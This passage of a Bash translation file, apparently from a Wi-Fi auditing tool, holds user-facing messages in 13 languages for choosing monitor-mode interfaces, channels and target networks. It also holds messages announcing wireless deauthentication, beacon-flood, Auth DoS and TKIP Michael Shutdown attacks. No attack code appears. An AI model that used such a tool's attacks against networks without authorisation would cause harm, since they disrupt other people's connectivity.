arr["CATALAN",21]="Aquesta interfície ha canviat de nom al posar-la en mode monitor. S'ha seleccionat automàticament" arr["PORTUGUESE",21]="Esta interface mudou de nome ao ser colocada em modo monitor. Ela foi selecionada automaticamente" arr["RUSSIAN",21]="Этот интерфейс изменил своё имя во время перевода в режим монитора. Выбран автоматически" arr["GREEK",21]="Η διεπαφή άλλαξε όνομα καθώς ήταν σε κατάσταση παρακολούθησης" arr["ITALIAN",21]="Questa interfaccia ha cambiato il suo nome passando in modalità monitor. È stata selezionata automaticamente" arr["POLISH",21]="Ten interfejs zmienił nazwę w trakcie uruchamiania trybu monitorowania. Wybrany automatycznie" arr["GERMAN",21]="Dieses Interface hat im Monitor-Modus seinen Namen geändert. Es wurde automatisch ausgewählt" arr["TURKISH",21]="Arayüz, monitör moduna girerken adını değiştirdi. Otomatik olarak seçildi" arr["ARABIC",21]="تلقائيًا monitor mode غيرت الواجهة اسمها أثناء الإعداد في وضع" arr["CHINESE",21]="在监听模式下,接口名称已变更。自动重新选择" arr["ENGLISH",22]="Monitor mode now is set on \${current_iface_on_messages}" arr["SPANISH",22]="Se ha puesto el modo monitor en \${current_iface_on_messages}" arr["FRENCH",22]="Mode moniteur activé sur l'interface \${current_iface_on_messages}" arr["CATALAN",22]="S'ha configurat el mode monitor en \${current_iface_on_messages}" arr["PORTUGUESE",22]="Modo monitor foi ativo em \${current_iface_on_messages}" arr["RUSSIAN",22]="Режим монитора установлен на \${current_iface_on_messages}" arr["GREEK",22]="Η διεπαφή \${current_iface_on_messages} είναι τώρα σε κατάσταση παρακολούθησης" arr["ITALIAN",22]="È stato impostato il modo monitor in \${current_iface_on_messages}" arr["POLISH",22]="Tryb monitorowania został ustawiony na \${current_iface_on_messages}" arr["GERMAN",22]="Monitor-Modus wurde auf \${current_iface_on_messages} gesetzt" arr["TURKISH",22]="İzleme modu açıldı \${current_iface_on_messages}" arr["ARABIC",22]="managed mode على \${current_iface_on_messages} الآن" arr["CHINESE",22]="监听接口现在已经设置为 \${current_iface_on_messages}" arr["ENGLISH",23]="There is a problem with the selected interface. Redirecting you to script exit" arr["SPANISH",23]="Hay un problema con la interfaz seleccionada. Redirigiendo a la salida del script" arr["FRENCH",23]="Il y a un problème avec l'interface choisie. Vous allez être dirigés vers la sortie du script" arr["CATALAN",23]="Hi ha un problema amb la interfície seleccionada. Redirigint cap a la sortida del script" arr["PORTUGUESE",23]="Existe um problema com a interface selecionada. Saindo do script" arr["RUSSIAN",23]="Проблема с выбранным интерфейсом. Перенаправляем вас к выходу из скрипта" arr["GREEK",23]="Υπάρχει πρόβλημε με την επιλεγμένη διεπαφή. Θα καθοδηγηθείτε στην έξοδο του script" arr["ITALIAN",23]="C'è un problema con l'interfaccia selezionata. Reindirizzando l'output dello script" arr["POLISH",23]="Wystąpił problem z wybranym interfejsem. Przekierowanie do wyjścia ze skryptu" arr["GERMAN",23]="Ein Problem ist mit dem ausgewählten Interface aufgetreten. Weiterleitung zur Ausgabe des Skripts" arr["TURKISH",23]="Seçilen arayüz ile ilgili bir problem oluştu. Yazılımdan çıkışa yönlendiriliyorsunuz" arr["ARABIC",23]="توجد مشكلة في الواجهة المحددة. إعادة توجيهك إلى الخروج من البرنامج" arr["CHINESE",23]="所选择的接口有问题。您将被重定向到脚本出口" arr["ENGLISH",24]="Select an interface to work with:" arr["SPANISH",24]="Selecciona una interfaz para trabajar con ella:" arr["FRENCH",24]="Sélectionnez l'interface pour travailler:" arr["CATALAN",24]="Seleccionar una interfície per treballar-hi:" arr["PORTUGUESE",24]="Selecione uma interface para trabalhar:" arr["RUSSIAN",24]="Выберите интерфейс для работы:" arr["GREEK",24]="Επιλέξτε διεπαφή:" arr["ITALIAN",24]="Seleziona un'interfaccia con cui lavorare:" arr["POLISH",24]="Wybierz interfejs:" arr["GERMAN",24]="Wählen Sie ein Interface aus, mit dem Sie arbeiten möchten:" arr["TURKISH",24]="Çalışmak için bir arayüz seçiniz:" arr["ARABIC",24]=":حدد واجهة للعمل بها" arr["CHINESE",24]="请选择要使用的网络接口:" arr["ENGLISH",25]="Set channel (1-14):" arr["SPANISH",25]="Selecciona un canal (1-14):" arr["FRENCH",25]="Sélectionnez un canal (1-14):" arr["CATALAN",25]="Seleccioni un canal (1-14):" arr["PORTUGUESE",25]="Escolha um canal (1-14):" arr["RUSSIAN",25]="Установите канал (1-14):" arr["GREEK",25]="Θέστε κανάλι (1-14):" arr["ITALIAN",25]="Seleziona un canale (1-14):" arr["POLISH",25]="Wybierz kanał (1-14):" arr["GERMAN",25]="Wähle einen Kanal (1-14):" arr["TURKISH",25]="Kanal ayarlayınız (1-14):" arr["ARABIC",25]=":(1-14) ضبط القناة" arr["CHINESE",25]="设置信道 (1-14):" arr["ENGLISH",26]="Channel set to \${normal_color}\${channel}" arr["SPANISH",26]="Canal elegido \${normal_color}\${channel}" arr["FRENCH",26]="Le canal \${normal_color}\${channel}\${blue_color} a été choisi" arr["CATALAN",26]="El canal \${normal_color}\${channel}\${blue_color} s'ha escollit" arr["PORTUGUESE",26]="Canal \${normal_color}\${channel}\${blue_color} selecionado" arr["RUSSIAN",26]="Выбран канал \${normal_color}\${channel}" arr["GREEK",26]="Το κανάλι \${normal_color}\${channel}\${blue_color} έχει επιλεχθεί" arr["ITALIAN",26]="Canale selezionato \${normal_color}\${channel}" arr["POLISH",26]="Wybrany kanał \${normal_color}\${channel}" arr["GERMAN",26]="Ausgewählter Kanal \${normal_color}\${channel}" arr["TURKISH",26]="Kanal şu şekilde ayarlandı \${normal_color}\${channel}" arr["ARABIC",26]="\${normal_color}\${channel}\${blue_color} القناة المختارة\${normal_color}" arr["CHINESE",26]="信道设置为 \${normal_color}\${channel}" arr["ENGLISH",27]="Type target BSSID (example: 00:11:22:33:44:55):" arr["SPANISH",27]="Escribe el BSSID objetivo (ejemplo: 00:11:22:33:44:55):" arr["FRENCH",27]="Veuillez entrer le BSSID de l'objectif (exemple: 00:11:22:33:44:55):" arr["CATALAN",27]="Escriu el BSSID objectiu (exemple: 00:11:22:33:44:55):" arr["PORTUGUESE",27]="Escreva o BSSID alvo (exemplo: 00:11:22:33:44:55):" arr["RUSSIAN",27]="Введите BSSID цели (пример: 00:11:22:33:44:55):" arr["GREEK",27]="Πληκτρολογήστε BSSID στόχου (παράδειγμα: 00:11:22:33:44:55):" arr["ITALIAN",27]="Scrivere l'BSSID obiettivo (es: 00:11:22:33:44:55):" arr["POLISH",27]="Wpisz BSSID celu (przykład: 00:11:22:33:44:55):" arr["GERMAN",27]="Geben Sie die Ziel-BSSID ein (Beispiel: 00:11:22:33:44:55):" arr["TURKISH",27]="Hedef türü BSSID (example: 00:11:22:33:44:55):" arr["ARABIC",27]=":(00:11:22:33:44:55:الهدف (مثال BSSID اكتب" arr["CHINESE",27]="请输入目标的 BSSID (例如: 00:11:22:33:44:55):" arr["ENGLISH",28]="BSSID set to \${normal_color}\${bssid}" arr["SPANISH",28]="BSSID elegido \${normal_color}\${bssid}" arr["FRENCH",28]="Le BSSID choisi est \${normal_color}\${bssid}" arr["CATALAN",28]="El BSSID escollit \${normal_color}\${bssid}" arr["PORTUGUESE",28]="BSSID escolhido \${normal_color}\${bssid}" arr["RUSSIAN",28]="Установленный BSSID: \${normal_color}\${bssid}" arr["GREEK",28]="Το BSSID τέθηκε σε \${normal_color}\${bssid}" arr["ITALIAN",28]="BSSID selezionato \${normal_color}\${bssid}" arr["POLISH",28]="Wybrany BSSID \${normal_color}\${bssid}" arr["GERMAN",28]="Gewählte BSSID \${normal_color}\${bssid}" arr["TURKISH",28]="BSSID şu şekilde ayarlandı \${normal_color}\${bssid}" arr["ARABIC",28]="\${normal_color}\${bssid}\${blue_color} المختار BSSID\${normal_color}" arr["CHINESE",28]="BSSID 设置为 \${normal_color}\${bssid}" arr["ENGLISH",29]="Type target ESSID:" arr["SPANISH",29]="Escribe el ESSID objetivo:" arr["FRENCH",29]="Écrivez l'ESSID du réseau cible:" arr["CATALAN",29]="Escriu el ESSID objectiu:" arr["PORTUGUESE",29]="Escreva o ESSID do alvo:" arr["RUSSIAN",29]="Введите BSSID цели:" arr["GREEK",29]="Πληκτρολογήστε ESSID στόχου:" arr["ITALIAN",29]="Scrivere l'ESSID obiettivo:" arr["POLISH",29]="Wpisz ESSID celu:" arr["GERMAN",29]="Geben Sie die Ziel ESSID ein:" arr["TURKISH",29]="Hedef türü ESSID:" arr["ARABIC",29]=":الهدف ESSID اكتب" arr["CHINESE",29]="请输入目标的 ESSID:" arr["ENGLISH",30]="\${blue_color}You haven't selected any target or you have selected a hidden network ESSID. This could be because you scanned few time or maybe the selected network has a hidden ESSID. These kind of networks will show their real ESSID only if a client connects while scanning and that could require so much time. If you already know the real ESSID of this target, it can be set manually. \${green_color}Do you want to set ESSID manually for this target network? \${normal_color}\${visual_choice}" arr["SPANISH",30]="\${blue_color}No tienes seleccionado ningún objetivo o has seleccionado un ESSID de red oculta. Esto podría deberse a que escaneste poco tiempo o quizás la red seleccionada tiene el ESSID oculto. Este tipo de redes mostrarán su ESSID real sólo si un cliente se conecta mientras escaneas pero eso podría requerir mucho tiempo. Si ya conoces el ESSID real de este objetivo, puedes configurarlo manualmente. \${green_color}¿Quieres configurar el ESSID manualmente para esta red objetivo? \${normal_color}\${visual_choice}" arr["FRENCH",30]="\${blue_color}Vous n'avez pas sélectionné aucune cible ou vous avez sélectionné un ESSID de réseau masqué. La raison peut être c'est que vous avez scanné plusieurs fois ou que le réseau sélectionné a un ESSID masqué. Ces types de réseaux afficheront leur véritable ESSID uniquement si un client se connecte pendant l'enumeration, mais il peut prendre beaucoup de temps. Si vous connaissez déjà le véritable ESSID de cette cible, il peut être défini manuellement. \${green_color}Voulez-vous définir l'ESSID manuellement pour ce réseau cible? \${normal_color}\${visual_choice}" arr["CATALAN",30]="\${blue_color}No has seleccionat cap objectiu o has seleccionat un ESSID de xarxa amagada. Això pot ser perquè has escanejat poc temps o potser la xarxa seleccionada té un ESSID amagat. Aquest tipus de xarxes només mostraran el seu ESSID real si un client es connecta mentre escanejes i això podria requerir molt de temps. Si ja saps l'ESSID real d'aquest objectiu, pots configurar-lo manualment. \${green_color}¿Vols configurar l'ESSID manualment per a aquesta xarxa objectiu? \${normal_color}\${visual_choice}" arr["PORTUGUESE",30]="\${blue_color}Você não selecionou nenhum alvo ou selecionou um ESSID de rede oculta. Isso pode ocorrer porque você escaneou pouco tempo ou talvez a rede selecionada tenha um ESSID oculto. Esse tipo de rede mostrará seu ESSID real somente se um cliente se conectar durante a varredura o que pode exigir muito tempo. Se você conhece o ESSID real do alvo, pode defini-lo manualmente. \${green_color}Deseja definir o ESSID manualmente para essa rede? \${normal_color}\${visual_choice}" arr["RUSSIAN",30]="\${blue_color}Вы не выбрали цель, либо целевая сеть имеет скрытый ESSID. Сети со скрытым ESSID раскроют свой реальный ESSID только в том случае, если во время сканирования к сети подключится клиент, что может занять очень много времени. Если вы уже знаете действительный ESSID целевой сети, его можно установить вручную. \${green_color}Хотите ли вы установить ESSID вручную? \${normal_color}\${visual_choice}" arr["GREEK",30]="\${blue_color}Δεν έχετε επιλέξει κανένα στόχο ή έχετε επιλέξει ένα κρυφό ESSID δίκτυο. Αυτό μπορεί να οφείλεται στο ότι σαρώσατε λίγες φορές ή ίσως το επιλεγμένο δίκτυο έχει ένα κρυφό ESSID. Αυτού του είδους τα δίκτυα θα εμφανίσουν το πραγματικό τους ESSID μόνο εάν ένα client συνδεθεί κατά τη σάρωση και αυτό μπορεί να απαιτήσει πολύ χρόνο. Εάν γνωρίζετε ήδη το πραγματικό ESSID αυτού του στόχου, μπορείτε να το ορίσετε χειροκίνητα. \${green_color}Θέλετε να ορίσετε το ESSID χειροκίνητα για αυτό το δίκτυο; \${normal_color}\${visual_choice}" arr["ITALIAN",30]="\${blue_color}Non hai selezionato nessun target o hai selezionato un ESSID di rete nascosta. Ciò potrebbe essere dovuto al fatto che hai eseguito la scansione poche volte o forse la rete selezionata ha un ESSID nascosto. Questo tipo di reti mostreranno il loro ESSID reale solo se un client si connette durante la scansione e ciò potrebbe richiedere molto tempo. Se conosci già l'ESSID reale di questo target, puoi impostarlo manualmente. \${green_color}Vuoi impostare manualmente l'ESSID per questa rete obiettivo? \${normal_color}\${visual_choice}" arr["POLISH",30]="\${blue_color}Nie wybrałeś żadnego celu lub wybrałeś ukryty identyfikator ESSID sieci. Może to być spowodowane tym, że skanowałeś kilka razy lub wybrana sieć ma ukryty ESSID. Tego rodzaju sieci pokażą swój prawdziwy ESSID tylko wtedy, gdy klient połączy się podczas skanowania, a to może zająć dużo czasu. Jeśli znasz już prawdziwy identyfikator ESSID tego celu, możesz go ustawić ręcznie. \${green_color}Czy chcesz ręcznie ustawić ESSID dla tej sieci docelowej? \${normal_color}\${visual_choice}" arr["GERMAN",30]="\${blue_color}Sie haben kein Ziel ausgewählt oder Sie haben eine versteckte Netzwerk-ESSID ausgewählt. Dies kann daran liegen, dass Sie nicht genug Zeit gescannt haben oder dass das ausgewählte Netzwerk eine versteckte ESSID hat. Versteckte ESSIDs zeigen ihre echte ESSID nur an, wenn ein Client während des Scannens eine Verbindung herstellt, und das kann sehr viel Zeit in Anspruch nehmen. Wenn Sie die tatsächliche ESSID dieses Ziels bereits kennen, können Sie sie manuell festlegen. \${green_color}Möchten Sie die ESSID für dieses Zielnetzwerk manuell festlegen? \${normal_color}\${visual_choice}" arr["TURKISH",30]="\${blue_color}Herhangi bir hedef seçmediniz veya gizli bir ağ ESSID'si seçtiniz. Bunun nedeni birkaç kez tarama yapmış olmanız veya seçilen ağın gizli bir ESSID'ye sahip olması olabilir. Bu tür ağlar gerçek ESSID'lerini yalnızca bir istemci tarama sırasında bağlanırsa gösterir ve bu çok fazla zaman gerektirir. Bu hedefin gerçek ESSID'sini zaten biliyorsanız manuel olarak ayarlanabilir. \${green_color}Bu hedef ağ için ESSID'yi manuel olarak ayarlamak ister misiniz? \${normal_color}\${visual_choice}" arr["ARABIC",30]="\${normal_color}\${visual_choice} \${green_color}لهذة الشبكة يدوياً؟ ESSIDهل تريد ادخال ال\${blue_color} .الحقيقي لشبكة, يمكن تحديدها يدوياً ESSIDلحقيقي اذا اتصل العميل في خلال الفحص فقط و هذا قد يستغرق وقت طويل. اذا كنت تعلم ال ESSIDمخفى. هذا النوع من الشباكات سيظهر ال ESSIDلشبكة مختفيه. هذا قد يكون لانك لم تفحص لفترة كافية او اخترت شبكة ب ESSID لم يتم تحديد اي هدف او تم تحديد\${normal_color}" arr["CHINESE",30]="\${blue_color}您尚未选择任何目标或您选择了隐藏网络的 ESSID。这可能是因为您扫描的次数过少, 或所选网络可能具有隐藏 ESSID。此类网络仅当连接它时才会显示其真实的 ESSID。如果您已经知道该目标的真实 ESSID, 则可以手动设置。 \${green_color}您要为此目标网络手动设置 ESSID 吗? \${normal_color}\${visual_choice}" arr["ENGLISH",31]="ESSID set to \${normal_color}\${essid}" arr["SPANISH",31]="ESSID elegido \${normal_color}\${essid}" arr["FRENCH",31]="l'ESSID sélectionné est \${normal_color}\${essid}" arr["CATALAN",31]="l'ESSID seleccionat \${normal_color}\${essid}" arr["PORTUGUESE",31]="ESSID escolhido \${normal_color}\${essid}" arr["RUSSIAN",31]="Установленный ESSID: \${normal_color}\${essid}" arr["GREEK",31]="Το ESSID τέθηκε σε \${normal_color}\${essid}" arr["ITALIAN",31]="ESSID selezionato \${normal_color}\${essid}" arr["POLISH",31]="Wybrany ESSID \${normal_color}\${essid}" arr["GERMAN",31]="Gewählte ESSID \${normal_color}\${essid}" arr["TURKISH",31]="ESSID şu şekilde ayarlandı \${normal_color}\${essid}" arr["ARABIC",31]="\${normal_color}\${essid}\${blue_color} المختار ESSID\${normal_color}" arr["CHINESE",31]="ESSID 设置为 \${normal_color}\${essid}" arr["ENGLISH",32]="All parameters set" arr["SPANISH",32]="Todos los parámetros están listos" arr["FRENCH",32]="Tous les paramètres sont correctement établis" arr["CATALAN",32]="Tots els paràmetres establerts" arr["PORTUGUESE",32]="Todos os parâmetros configurados" arr["RUSSIAN",32]="Все параметры установлены" arr["GREEK",32]="Έχουν τεθεί όλοι οι παράμετροι" arr["ITALIAN",32]="Tutti i parametri sono pronti" arr["POLISH",32]="Wszystkie parametry są gotowe" arr["GERMAN",32]="Alle Parameter eingestellt" arr["TURKISH",32]="Tüm parametreler ayalandı" arr["ARABIC",32]="جميع المعلمات جاهزة" arr["CHINESE",32]="所有参数设置完毕" arr["ENGLISH",33]="Starting attack. When started, press [Ctrl+C] to stop..." arr["SPANISH",33]="Comenzando ataque. Una vez empezado, pulse [Ctrl+C] para pararlo..." arr["FRENCH",33]="L'attaque est lancé. Pressez [Ctrl+C] pour l'arrêter..." arr["CATALAN",33]="Començant l'atac. Un cop començat, premeu [Ctrl+C] per aturar-lo..." arr["PORTUGUESE",33]="Começando ataque. Uma vez iniciado, pressione [Ctrl+C] para parar..." arr["RUSSIAN",33]="Атака запускается. Нажмите [Ctrl+C] для остановки..." arr["GREEK",33]="Έναρξη επίθεσης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." arr["ITALIAN",33]="Cominciando l'attacco. Una volta avviato, premere [Ctrl+C] per fermare..." arr["POLISH",33]="Uruchomienie ataku. Waciśnij [Ctrl+C] w trakcie działania, aby go przerwać..." arr["GERMAN",33]="Angriff starten. Einmal gestartet, drücken Sie [Ctrl+C], um es zu stoppen..." arr["TURKISH",33]="Saldırı başlıyor. Başladıktan sonra, durdurmak için [Ctrl+C] basınız..." arr["ARABIC",33]="...للإيقاف [Ctrl+C] بدء الهجوم. عند البدء ، اضغط على" arr["CHINESE",33]="开始攻击。按[Ctrl+C] 停止..." arr["ENGLISH",34]="Selected interface \${current_iface_on_messages} is in monitor mode. Attack can be performed" arr["SPANISH",34]="La interfaz seleccionada \${current_iface_on_messages} está en modo monitor. El ataque se puede realizar" arr["FRENCH",34]="L'interface \${current_iface_on_messages} qui a été sélectionnée est bien en mode moniteur. L'attaque peut être lancée" arr["CATALAN",34]="La interfície seleccionada \${current_iface_on_messages} està configurada en mode monitor. L'atac es pot realitzar" arr["PORTUGUESE",34]="Interface selecionada \${current_iface_on_messages} está em modo monitor. O ataque pode ser realizado" arr["RUSSIAN",34]="Выбранный интерфейс \${current_iface_on_messages} в режиме монитора. Можно выполнить атаку" arr["GREEK",34]="Η επιλεγμένη διεπαφή \${current_iface_on_messages} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει επίθεση" arr["ITALIAN",34]="L'interfaccia selezionata \${current_iface_on_messages} è in modalità monitor. L'attacco può essere eseguito" arr["POLISH",34]="Wybrany interfejs \${current_iface_on_messages} jest w trybie monitorowania. Można wykonać atak" arr["GERMAN",34]="Das ausgewählte Interface \${current_iface_on_messages} befindet sich im Monitor-Modus. Der Angriff kann ausgeführt werden" arr["TURKISH",34]="Seçilen arayüz \${current_iface_on_messages} izleme modunda. Saldırı yapılabilir" arr["ARABIC",34]="يمكن تنفيذ الهجوم .monitor mode في وضع \${current_iface_on_messages} الواجهة المحددة" arr["CHINESE",34]="所选接口 \${current_iface_on_messages} 已处于监听模式。可以进行攻击" arr["ENGLISH",35]="Deauthentication / Dissasociation \${mdk_command} attack chosen (monitor mode needed)" arr["SPANISH",35]="Elegido ataque de Desautenticación / Desasociación \${mdk_command} (modo monitor requerido)" arr["FRENCH",35]="L'attaque de Dés-authentification / Dissociation \${mdk_command} a été choisie (mode moniteur nécessaire)" arr["CATALAN",35]="Seleccionat atac de Desautenticació / Dissociació \${mdk_command} (es requereix mode monitor)" arr["PORTUGUESE",35]="Ataque de desautenticação com \${mdk_command} (modo monitor obrigatório)" arr["RUSSIAN",35]="Выбрана \${mdk_command} атака Деаутентификации / Разъединения (необходим режим монитора)" arr["GREEK",35]="Deauthentication / Έχει επιλεχθεί επίθεση dissasociation \${mdk_command} (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",35]="Attacco Deauth / Disassociation \${mdk_command} scelto (modalità monitor richiesta)" arr["POLISH",35]="Wybrano atak Deauthentication / Disassociation \${mdk_command} (wymagany tryb monitorowania)" arr["GERMAN",35]="Deauthentication / Disassociation \${mdk_command} Angriff ausgewählt (Monitor-Modus erforderlich)" arr["TURKISH",35]="Deauthentication / Dissasociation \${mdk_command} saldırısı seçildi (izleme modu gereklidir)" arr["ARABIC",35]="(monitor mode يلزم وضع) \${mdk_command} Deauthentication / Dissasociation تم اختيار هجوم" arr["CHINESE",35]="选择 \${mdk_command} amok 解除身份验证攻击 (需要监听Aireplay deauth 参数模式)" arr["ENGLISH",36]="Deauthentication aireplay attack chosen (monitor mode needed)" arr["SPANISH",36]="Elegido ataque de Desautenticación aireplay (modo monitor requerido)" arr["FRENCH",36]="L'attaque de Dés-authentification aireplay a été choisie (mode moniteur nécessaire)" arr["CATALAN",36]="Seleccionat atac de Desautenticació aireplay (es requereix mode monitor)" arr["PORTUGUESE",36]="Ataque de desautenticação com Aireplay (modo monitor obrigatório)" arr["RUSSIAN",36]="Выбрана атака Деаутентификации с помощью Aireplay (необходим режим монитора)" arr["GREEK",36]="Έχει επιλεχθεί επίθεση deauthentication aireplay (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",36]="Attacco Deauth aireplay scelto (modalità monitor richiesta)" arr["POLISH",36]="Wybrano atak Deauthentication aireplay (wymagany tryb monitorowania)" arr["GERMAN",36]="Airplay-Deauthentifizierungsangriff ausgewählt (Monitor-Modus erforderlich)" arr["TURKISH",36]="Deauthentication aireplay saldırısı seçildi (izleme modu gereklidir)" arr["ARABIC",36]="(monitor mode يلزم وضع) Deauthentication aireplay تم اختيار هجوم" arr["CHINESE",36]="选择 aireplay 解除身份验证攻击 (需要监听模式)" arr["ENGLISH",37]="WIDS / WIPS / WDS Confusion attack chosen (monitor mode needed)" arr["SPANISH",37]="Elegido ataque Confusion WIDS / WIPS / WDS (modo monitor requerido)" arr["FRENCH",37]="L'attaque Confusion WIDS / WIPS / WDS a été choisie (mode moniteur nécessaire)" arr["CATALAN",37]="Seleccionat atac Confusion WIDS /WIPS / WDS (es requereix mode monitor)" arr["PORTUGUESE",37]="Ataque Confusion WIDS / WIPS / WDS (modo monitor obrigatório)" arr["RUSSIAN",37]="Выбрана атака запутывания WIDS / WIPS / WDS (необходим режим монитора)" arr["GREEK",37]="Έχει επιλεχθεί επίθεση σύγχυσης WIDS / WIPS / WDS (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",37]="Attacco Confusion / WIDS / WIPS / WDS scelto (modalità monitor richiesta)" arr["POLISH",37]="Wybrano ataki typu WIDS / WIPS / WDS Confusion (wymagany tryb monitorowania)" arr["GERMAN",37]="Confusion WIDS / WIPS / WDS Angriff ausgewählt (Monitor-Modus erforderlich)" arr["TURKISH",37]="WIDS / WIPS / WDS Confusion saldırısı seçildi (izleme modu gereklidir)" arr["ARABIC",37]="(monitor mode يلزم وضع) WIDS / WIPS / WDS Confusion تم اختيار هجوم" arr["CHINESE",37]="选择 WIDS / WIPS / WDS 混淆攻击 (需要监听模式)" arr["ENGLISH",38]="Beacon flood attack chosen (monitor mode needed)" arr["SPANISH",38]="Elegido ataque Beacon flood (modo monitor requerido)" arr["FRENCH",38]="L'attaque Beacon flood a été choisie (mode moniteur nécessaire)" arr["CATALAN",38]="Seleccionat atac Beacon flood (es requereix mode monitor)" arr["PORTUGUESE",38]="Ataque de Beacon flood (modo monitor obrigatório)" arr["RUSSIAN",38]="Выбрана атака флуд маяками (необходим режим монитора)" arr["GREEK",38]="Έχει επιλεχθεί επίθεση πλημμύρας φάρου (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",38]="Attacco Beacon flood scelto (modalità monitor richiesta)" arr["POLISH",38]="Wybrano atak Beacon flood (wymagany tryb monitorowania)" arr["GERMAN",38]="Beacon flood Angriff ausgewählt (Monitor-Modus erforderlich)" arr["TURKISH",38]="Beacon flood saldırısı seçildi (izleme modu gereklidir)" arr["ARABIC",38]="(monitor mode يلزم وضع) Beacon flood تم اختيار هجوم" arr["CHINESE",38]="WiFi 信号信标伪造 DoS 攻击 (需要监听模式)" arr["ENGLISH",39]="Auth DoS attack chosen (monitor mode needed)" arr["SPANISH",39]="Elegido ataque Auth DoS (modo monitor requerido)" arr["FRENCH",39]="L'attaque Auth DoS a été choisie (modo moniteur nécessaire)" arr["CATALAN",39]="Seleccionat atac Auth DoS (es requereix mode monitor)" arr["PORTUGUESE",39]="O ataque DoS Auth foi escolhido (modo monitor obrigatório)" arr["RUSSIAN",39]="Выбрана атака Auth DoS (необходим режим монитора)" arr["GREEK",39]="Έχει επιλεχθεί επίθεση Auth DoS (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",39]="Attacco DoS Auth scelto (modalità monitor richiesta)" arr["POLISH",39]="Wybrano atak DoS Auth (wymagany tryb monitorowania)" arr["GERMAN",39]="Auth DoS Angriff ausgewählt (Monitor-Modus erforderlich)" arr["TURKISH",39]="Auth DoS saldırısı seçildi (izleme modu gereklidir)" arr["ARABIC",39]="(monitor mode يلزم وضع) Auth DoS تم اختيار هجوم" arr["CHINESE",39]="选择了身份验证 DoS 攻击 (需要监听模式)" arr["ENGLISH",40]="Michael Shutdown (TKIP) attack chosen (monitor mode needed)" arr["SPANISH",40]="Elegido ataque Michael Shutdown (TKIP) (modo monitor requerido)" arr["FRENCH",40]="L'attaque Michael Shutdown (TKIP) a été choisie (mode moniteur nécessaire)" arr["CATALAN",40]="Seleccionat atac Michael Shutdown (TKIP) (es requereix mode monitor)" arr["PORTUGUESE",40]="Ataque selecionado Michael Shutdown (TKIP) (modo monitor obrigatório)" arr["RUSSIAN",40]="Выбрана атака Michael Shutdown (TKIP) (необходим режим монитора)" arr["GREEK",40]="Έχει επιλεχθεί επίθεση Michael Shutdown (TKIP) (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",40]="Attacco Michael Shutdown (TKIP) scelto (modalità monitor richiesta)" arr["POLISH",40]="Wybrano atak Michael Shutdown (TKIP) (wymagany tryb monitorowania)" arr["GERMAN",40]="Michael Shutdown (TKIP) Angriff ausgewählt (Monitor-Modus erforderlich)" arr["TURKISH",40]="Michael Shutdown (TKIP) saldırısı seçildi (izleme modu gereklidir)" arr["ARABIC",40]="(monitor mode يلزم وضع) Michael Shutdown (TKIP) تم اختيار هجوم" arr["CHINESE",40]="选择了迈克尔关机 (TKIP) (需要监听模式)" arr["ENGLISH",41]="No interface selected. You'll be redirected to select one" arr["SPANISH",41]="No hay interfaz seleccionada. Serás redirigido para seleccionar una" arr["FRENCH",41]="Aucune interface sélectionnée. Vous allez retourner au menu de sélection pour en choisir une" arr["CATALAN",41]="No hi ha intefície seleccionada. Seràs redirigit per seleccionar una" arr["PORTUGUESE",41]="Nenhuma interface selecionada. Você será redirecionado para selecionar uma" arr["RUSSIAN",41]="Интерфейс не выбран. Вы будете перенаправлены на меню выбора интерфейса" arr["GREEK",41]="Δεν έχει επιλεχθεί κάποια διεπαφή. Θα καθοδηγηθείτε για να επιλέξετε μία" arr["ITALIAN",41]="Nessuna interfaccia selezionata. Sarai reindirizzato per selezionarne una" arr["POLISH",41]="Nie wybrano interfejsu. Zostaniesz przekierowany, aby któryś wybrać" arr["GERMAN",41]="Kein Interface ausgewählt. Sie werden zur Auswahl weitergeleitet" arr["TURKISH",41]="Hiçbir arayüz seçilmedi. Seçmeniz için yönlendiriliyorsunuz" arr["ARABIC",41]="لم يتم تحديد واجهة. ستتم إعادة توجيهك لتحديد واحدة" arr["CHINESE",41]="未选择接口。您将被重定向以选择一个网络接口" arr["ENGLISH",42]="Interface \${pink_color}\${current_iface_on_messages}\${blue_color} selected. Mode: \${pink_color}\${ifacemode}\${normal_color}" arr["SPANISH",42]="Interfaz \${pink_color}\${current_iface_on_messages}\${blue_color} seleccionada. Modo: \${pink_color}\${ifacemode}\${normal_color}" arr["FRENCH",42]="Interface \${pink_color}\${current_iface_on_messages}\${blue_color} sélectionnée. Mode: \${pink_color}\${ifacemode}\${normal_color}" arr["CATALAN",42]="Interfície \${pink_color}\${current_iface_on_messages}\${blue_color} seleccionada. Mode: \${pink_color}\${ifacemode}\${normal_color}" arr["PORTUGUESE",42]="Interface \${pink_color}\${current_iface_on_messages}\${blue_color} selecionada. Modo: \${pink_color}\${ifacemode}\${normal_color}" arr["RUSSIAN",42]="Интерфейс \${pink_color}\${current_iface_on_messages}\${blue_color} выбран. Режим: \${pink_color}\${ifacemode}\${normal_color}" arr["GREEK",42]="Η διεπαφή \${pink_color}\${current_iface_on_messages}\${blue_color} έχει επιλεχθεί. Κατάσταση: \${pink_color}\${ifacemode}\${normal_color}" arr["ITALIAN",42]="Interfaccia \${pink_color}\${current_iface_on_messages}\${blue_color} selezionata. Modalità: \${pink_color}\${ifacemode}\${normal_color}" arr["POLISH",42]="Interfejs \${pink_color}\${current_iface_on_messages}\${blue_color} został wybrany. Tryb: \${pink_color}\${ifacemode}\${normal_color}" arr["GERMAN",42]="Interface \${pink_color}\${current_iface_on_messages}\${blue_color} ausgewählt. Modus: \${pink_color}\${ifacemode}\${normal_color}" arr["TURKISH",42]="Arayüz \${pink_color}\${current_iface_on_messages}\${blue_color} seçildi. Mod: \${pink_color}\${ifacemode}\${normal_color}" arr["ARABIC",42]="\${pink_color}\${ifacemode}\${blue_color} :الوضع المختار \${pink_color}\${current_iface_on_messages}\${blue_color} تم تحديد الواجهة\${normal_color}" arr["CHINESE",42]="已选择接口 \${pink_color}\${current_iface_on_messages}\${blue_color}。模式: \${pink_color}\${ifacemode}\${normal_color}" arr["ENGLISH",43]="Selected BSSID: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["SPANISH",43]="BSSID 